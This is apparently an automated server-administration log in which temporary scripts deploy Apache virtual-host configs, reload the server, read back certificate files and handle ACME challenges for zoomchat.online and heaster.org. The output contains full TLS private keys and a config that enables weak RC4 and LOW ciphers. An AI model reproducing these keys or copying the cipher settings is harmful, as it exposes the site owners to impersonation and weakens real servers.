<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-22 12:29:54: 

PUT: /tmp/pkp618896

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_online.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi


2025-10-22 12:29:55: 

chmod 755 /tmp/pkp618896; /tmp/pkp618896; rm /tmp/pkp618896

2025-10-22 12:29:55: 




2025-10-22 12:29:55: 

PUT: /tmp/pkp410158

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-22 12:29:56: 

chmod 755 /tmp/pkp410158; /tmp/pkp410158; rm /tmp/pkp410158

2025-10-22 12:29:56: 


.


2025-10-22 12:29:56: Establishing a connection
2025-10-22 12:29:57: 

PUT: /tmp/pkp115219

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-22 12:29:58: 

chmod 755 /tmp/pkp115219; /tmp/pkp115219; rm /tmp/pkp115219

2025-10-22 12:29:59: 


[Wed Oct 22 12:29:58.966475 2025] [so:warn] [pid 353076:tid 140142570838336] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:27)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Wed Oct 22 12:29:58.966475 2025] [so:warn] [pid 353076:tid 140142570838336] AH01574: module status_module is already loaded, skipping


2025-10-22 12:29:59: 

PUT: /tmp/pkp859890

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-22 12:29:59: 

chmod 755 /tmp/pkp859890; /tmp/pkp859890; rm /tmp/pkp859890

2025-10-22 12:29:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf	1809

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-22 12:29:59: 

PUT: /tmp/pkp685087

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-22 12:30:00: 

chmod 755 /tmp/pkp685087; /tmp/pkp685087; rm /tmp/pkp685087

2025-10-22 12:30:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt	5381
88:ae:58:fd:81:7f:fa:68:5c:91:f2:c0:58:4c:c2:eb

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBmA2Wyxj6M8RFeVWySr6EJmaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIyMTEzMTE2WhcNMjYwMTIwMTEzMTE1WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC+q5gDk71L9JuIeLo439+mWe6vXQGr/fdr/R6A1ivwmmuOKp8Ju1+roPK/YY9R
F91YWxls8aq2IvlcUKKAOLVqriHZbAbZ0rdduTp/oeOivIGs04VTFRyjPLCsS2GX
fwuyV6En4K5WNiFEppg+o6dlYgeBsKUl55n0UeyZpQUy7bONZjitjcc+2MqT3VPH
QxQ3+AQGQykIHt8PjqCcL0pHbGk2cPScuDDwQ7viqy6R2kHJ8B3EjU+ot/uekJ9b
tXRLV4or+pwdnahqadar+yJBRMuiux65MbcuIwrdCq+TkW23QXcbhuHbIrPYyRrN
xZ0c94o2VnXEgmHV7gVClQm5AgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFNDY7OaFbCEzdu0Qe1KBT//Rp9QmMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoITd3d3Lnpvb21jaGF0Lm9ubGlu
ZYIPem9vbWNoYXQub25saW5lMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMjcuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHF
TiEAAAGaC+WVowAABAMARjBEAiA0el1Raa6a+LhZRxV4I7oeu8alJ8DstylL4ZWP
zi72twIgV02g+vnTTdZspMw8IkgrcLyTP2Re83oRbWcD7S51E64AdgBkEcRspBLs
p4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZoL5Z1tAAAEAwBHMEUCIAw0ARVK
cJuNJ7BXpD+0VfZsmxZiQ/j8sWVMqrHtl8pLAiEApqsdO9iB3VlJxZT0AQ1tpZYG
LuthvxrbygwhUu0vyVwwDQYJKoZIhvcNAQELBQADggEBAFvlys3axHqnx4nl71BL
wwZfc2XLaZNJprIyOEeth10lXQZzYUq6vVa5bkpblPlJ9quzvH5FP68fwkcnWZz2
a7DEEgU6btTphwIXlolq8MYHQjxW2r65/iP310RRkv9+zLChE11pnary9aXUZ+qk
GtY67c1PTcyeWpSJxFpPloUgMqEdR5qhfCnNX9hA3ush+5olW+HwME/xX4n47jgQ
+IC7Dnzaecp+iKXU5B/fBojCRH5cpKwciYIeEOw8mMDaXWqIeUllA0YlDKCnE66u
pNjjjnuw12pRcY/QD8MfKcb3iT2NkCyLTRwZAchxjcg0gknVRFyyxspu+afxAW2n
Qvg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQC+q5gDk71L9JuI
eLo439+mWe6vXQGr/fdr/R6A1ivwmmuOKp8Ju1+roPK/YY9RF91YWxls8aq2Ivlc
UKKAOLVqriHZbAbZ0rdduTp/oeOivIGs04VTFRyjPLCsS2GXfwuyV6En4K5WNiFE
ppg+o6dlYgeBsKUl55n0UeyZpQUy7bONZjitjcc+2MqT3VPHQxQ3+AQGQykIHt8P
jqCcL0pHbGk2cPScuDDwQ7viqy6R2kHJ8B3EjU+ot/uekJ9btXRLV4or+pwdnahq
adar+yJBRMuiux65MbcuIwrdCq+TkW23QXcbhuHbIrPYyRrNxZ0c94o2VnXEgmHV
7gVClQm5AgMBAAECggEBAJU8+d7S5HdvHc3TsO6TTBqIian4wjY8skxz8kwlVn8c
XtMHyTN01Y0gjN//HI38f+OIan47KcMl3MfE1WxG9rhpU1U6mKIlrCBPutnrfKED
qvv7E3/UJnYeKqqw1dIePql4rUrpMYuJEsEJJGDi90MDV5zLBniErpvtA6O+5jLV
QLVWp3bT6n4yb9ZnSe8vd8O/hQfjecJ4VLFgw0lgaOfxezlFF1gOcYNYH7/FL8TQ
zjEfyufbvprYu/fvexeZZ54tiW97+ffiHExggi4M5kPGABiYmkG6QprneboIG/+3
voUdv6i2kzJhbTknPvyqt/GuTiFgCDSTr6hlYhSwNgECgYEA3xOP+gs9oUo04e7l
t3/eRmisbEKLlV5NCkV8SF+VGDdaEcSrNjfSI9pZpSEqJMGCQA4/4B4YHAoUPhY4
oBAFrNwQ1YE3RcpVoLxzQ+5+X2FE4aBysOK9ltPVKKse4o5qDcc2+BpeBAU2mInl
OKfB3IktRDJobq2t/jD0UtURuEUCgYEA2s+jorLx6xhts0KizsqzV4kSDot1xZ61
xJxzLgZyBPxL+kkMFrkILeUoW07Qfd3BeVbY+/mg7WX9N/CSMWgC08YMN6LpI5nj
ekWx1E3w6/6Z2JvKpo9I025gTk4E7HEsLLB/sUcoP4cWRQReF/KzzJKkGyMpEa+u
/4gf0CljpOUCgYEAtmrw2bBHfZWJGRiakSvnP/xowz7HliW/Kh8YOrau3VamONFy
kKulE9yCYh50sAnt0SPV6Bez73nug7b4Jyvy+CAdQ/qekFudGgwA1hQ5ExYflcH3
B97i2mvva4pDf1CmOQ4nTUuChhcdRi+9Wk8UoJssgRAXhipQlgTCRtol22ECgYEA
1ReB9ODwWFPiAcHTbDBbl9QVkbSfbWWy/1adlSURxWkvVP/ulfJ81LVnKAUJZoqf
8NtzVXE2F/xLLj9LIHJ6zmMBYu10vwcPUfStymRdTHcWvKx8HtlLwxyrDZdNlDZj
HuKEeNEjkTqtpWkreYcTMxdcWlFTnbXKZ3DaCo9ES0ECgYEA1J9iAzeuvAZpB82/
1V2A1C4GwJkBsqHNv1dwUwt5xm4W+0LR6YVTBv6LuWDNWfI0O2UaYlpve6eR+jUp
ZXMSJ8lJOehdm4PrkJhCWtPeZiNQcau88jEJorxUFlX8WkB1UbibN6DGft3nHpPb
4/HQ6Lba/PEA+jmjB+KoSfsHlP4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-23 06:00:03: Establishing a connection
2025-10-23 06:00:05: Establishing a connection
2025-10-23 06:00:06: 

PUT: /tmp/pkp380919

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-23 06:00:07: 

chmod 755 /tmp/pkp380919; /tmp/pkp380919; rm /tmp/pkp380919

2025-10-23 06:00:07: 


0


2025-10-24 06:00:02: Establishing a connection
2025-10-24 06:00:02: Establishing a connection
2025-10-24 06:00:03: 

PUT: /tmp/pkp884537

#!/bin/bash
if [ -d "/var/www/heaster_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-24 06:00:08: 

chmod 755 /tmp/pkp884537; /tmp/pkp884537; rm /tmp/pkp884537

2025-10-24 06:00:08: 


1


2025-10-24 06:00:09: Establishing a connection
2025-10-24 06:00:09: 

PUT: /tmp/pkp934279

#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
cat > 7XGdsWYNGkcR1uJGXKAQZhQHgyTOdKz7GOUgwLy2KuI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
7XGdsWYNGkcR1uJGXKAQZhQHgyTOdKz7GOUgwLy2KuI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 7XGdsWYNGkcR1uJGXKAQZhQHgyTOdKz7GOUgwLy2KuI
cat > 0ixaDaXlg62-pkZnmJ9RJkKpae09VTHyDPdg06QYV1E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0ixaDaXlg62-pkZnmJ9RJkKpae09VTHyDPdg06QYV1E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0ixaDaXlg62-pkZnmJ9RJkKpae09VTHyDPdg06QYV1E


2025-10-24 06:00:09: 

chmod 755 /tmp/pkp934279; /tmp/pkp934279; rm /tmp/pkp934279

2025-10-24 06:00:10: 




2025-10-24 06:00:20: Establishing a connection
2025-10-24 06:00:20: 

PUT: /tmp/pkp951548

#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
rm 7XGdsWYNGkcR1uJGXKAQZhQHgyTOdKz7GOUgwLy2KuI
rm 0ixaDaXlg62-pkZnmJ9RJkKpae09VTHyDPdg06QYV1E


2025-10-24 06:00:20: 

chmod 755 /tmp/pkp951548; /tmp/pkp951548; rm /tmp/pkp951548

2025-10-24 06:00:20: 




2025-10-24 06:00:20: Establishing a connection
2025-10-24 06:00:20: 

PUT: /tmp/pkp874666

#!/bin/bash
temp_file=$(mktemp)
TARGET=d76ac506d6f13662e06babf635b43fda.crt

cat > $temp_file <<'endmsg'
2e:39:18:ed:3d:28:dd:3e:a0:e3:85:b5:3f:6e:4e:54

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBaK2vAnSQ0sQ/vfxktNOV4R2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMTQ5WhcNMjYwMTIyMDUwMTQ4WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANIP
99y6YtSnN/cy9oKAPC25VOg1ct5ffADUQHk2HgMTsYCDEyybCwh2k/FBeAuL7+08
CnB3apQQdP9OkrgbrzIndAbi+yHlsc0rcJydwVbMWBhA/h1gpWMRhxyavP1qH3no
FGkQszVa1cRZiWY95wY0G8iMeSlflFnkIBAh8rLkVhaJGZ0vDZZcIABLIjN3Iwlp
xBbToCzYhus+lXcdOtEK4MenTQoGb9pr3rDv7CuZP8eojlDWfJZ+6w0a7GzNFG9I
TLPbZZs/sXNtcOMYvjUFpQN5ejThluvHB90LRuF+XJmujf/REVSG/lYkwCxd0O0x
TfpuaYQ1m20JQii4byMCAwEAAaOCAi0wggIpMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUY3dr1byUVgPhP1D3AyhJ2AgJWoYwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAnBgNVHREEIDAeggtoZWFzdGVyLm9yZ4IPd3d3LmhlYXN0
ZXIub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0
dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTE5LmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmhTNwGcA
AAQDAEcwRQIhALfK00TaHH0u8KcuP5pNYuA7DOS1QN/RBvtcOnM5yqnzAiAayPqM
G9mt6x8JPsO6cS970dZkLogJPqDhu3zGxdQqHgB2AA5XlLzzrqk+MxssmQez95Df
m8I9cTIl3SGpJaxhxU4hAAABmhTNwFYAAAQDAEcwRQIhAK9HjnKY1r+CFPdbkqzw
C8wpP1QAv+ODJ3lv2mfiHY6gAiAuss1V/PSuv3Yqp0zfoHRoRbTBottfCGOHXwAy
aFL54DANBgkqhkiG9w0BAQsFAAOCAQEAjkGRdpdyJIGS99oo/THG+8lFDJhq47Ua
k0Q1tyGAfoOkR1w6wXIAMVqYmnalTMDAaBOhPQtl9j8FEkPa494u94Jj7vt685z3
tqCLPhbW37pbz/LvgY9TaHH5y+ef2z7EhzndBfQWcYQT6gVV8TT21N/gMdY3z974
hENme/46Caeeb7wccBgeF/bf0sYkqRlKrRhC0oXnstQVY5vUQbwRsG0fBmHXCY8E
cx/vF918m/FU2LpwKK8VAqO6d1wXVDXuQz4sJ9+Mmvny4S9FBkfZWORSTL/YO5fJ
xaMoMEPHE9IoxfrpOy/LMlcE+RYkaQWehH8H046ptH+el3Ik1prO1g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDSD/fcumLUpzf3
MvaCgDwtuVToNXLeX3wA1EB5Nh4DE7GAgxMsmwsIdpPxQXgLi+/tPApwd2qUEHT/
TpK4G68yJ3QG4vsh5bHNK3CcncFWzFgYQP4dYKVjEYccmrz9ah956BRpELM1WtXE
WYlmPecGNBvIjHkpX5RZ5CAQIfKy5FYWiRmdLw2WXCAASyIzdyMJacQW06As2Ibr
PpV3HTrRCuDHp00KBm/aa96w7+wrmT/HqI5Q1nyWfusNGuxszRRvSEyz22WbP7Fz
bXDjGL41BaUDeXo04ZbrxwfdC0bhflyZro3/0RFUhv5WJMAsXdDtMU36bmmENZtt
CUIouG8jAgMBAAECggEBAIPJeNuGI9L+ReJUmsss4JRfHaHBRpu0k/uBLiHdjd6o
UEgr86+cZcOdgRtu032LAa94Z6Q/hyH1YTF7fhj7ZWK11dksNhoCHRZ3FmNrpYxr
DynIPKT5qUkKChYsDj1+gtjcfVGdJJFot4xEECuQ0ovVzUh4uNr4F/59XJBCfB02
eEoSbKKKdYM8IX7Rn0Q42tFAhM71vz2HOinwmq4CO0E431qboBcZsIMGatp863Za
XOHk1MkKWQKfjIZwNGElGIQfO34eZaiPDZBEX7AKGTPioxNpzJpzsSlzI/QcxEP8
RxGezx471UWPCLNF5/frsogbd9sNhiyxZUMHgcq0n8ECgYEA9XfJlJ5RHH/UKJ7N
Ji4XBbHWYrxPxKgNUroRlkMItqXPh2eXqgwFZ4Jk+/pX4IqN/5prb9AiMFFGO+w3
Vg5D2XD61h2IPdNOFdDNvsD2WslO+QbbHfKwxlPPgiVd4BGyeXHPpSsIOsVvtOWP
Dr74dR2gQFU//dca0cVNn8OWSWsCgYEA2xNJjUhxQV8k8F02xIVWW5eC57hXfNvY
x3Lu2sz9+CFxfURMVrDWORqK8iYYfnii7YPSwest30EojQVdQaIxtBMZlpT32sGD
ifTyutj6Dyd/1lAR/rA4Q4x1dXvmiBruj6lwxjtANilAfabJecDBau3wPbJMOXQf
1M9gjRZeRykCgYBdFx6VhCzSmA/Hj+HRNu14NWdObof51pmm4/XDfIyTZ/J6MWkt
